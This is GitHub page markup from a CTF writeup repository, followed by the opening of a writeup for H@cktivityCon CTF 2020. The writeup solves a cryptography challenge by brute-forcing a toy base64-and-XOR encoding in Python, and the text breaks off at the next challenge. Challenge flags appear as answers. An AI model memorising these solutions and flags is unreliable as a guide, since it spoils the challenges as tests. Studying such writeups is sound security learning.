0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/KEERRO/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162845937,"originating_url":"https://github.com/KEERRO/ctf-writeups/tree/master/HacktivityCon%20CTF%202020/pwn/bullseye","user_id":null}}" data-hydro-click-hmac="becbc2ec1bf9249ac6422486b88e18fdc13501977ee304740b1a532d2d875589"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>HacktivityCon CTF 2020</span></span><span>/</span><span><span>pwn</span></span><span>/</span>bullseye<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>HacktivityCon CTF 2020</span></span><span>/</span><span><span>pwn</span></span><span>/</span>bullseye<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/KEERRO/ctf-writeups/tree-commit/06bbaff46db8a3bdd138b18de938f9440e4e83b8/HacktivityCon%20CTF%202020/pwn/bullseye" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/KEERRO/ctf-writeups/file-list/master/HacktivityCon%20CTF%202020/pwn/bullseye"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# **H@cktivityCon CTF 2020** <div align='center'> </div> This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/) *** # Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack) *** # Cryptography ## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life? Download the file below.\[fossil](assets//scripts//fossil) **`flag{tyrannosauras_xor_in_reverse}`** **Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script: ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c``` This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit: ```python#!/usr/bin/env python import base64import binascii cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex. We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier. We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC: <div align=center> </div> So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it! For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the third character doing the same operations and so on until we have decrypted all the ciphertext. For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext: ```python#!/usr/bin/env python import base64import binasciiimport string def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue``` and by running this script we get the flag: ![](assets//images//fossil_2.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## Perfect XORCan you decrypt the flag? Download the file below.\[decrypt.py](assets//scripts//decrypt.py) **`flag{tHE_br0kEN_Xor}`** **Solution:** with the challenge we get a python script: ```pythonimport base64n = 1i = 0cipher_b64 = 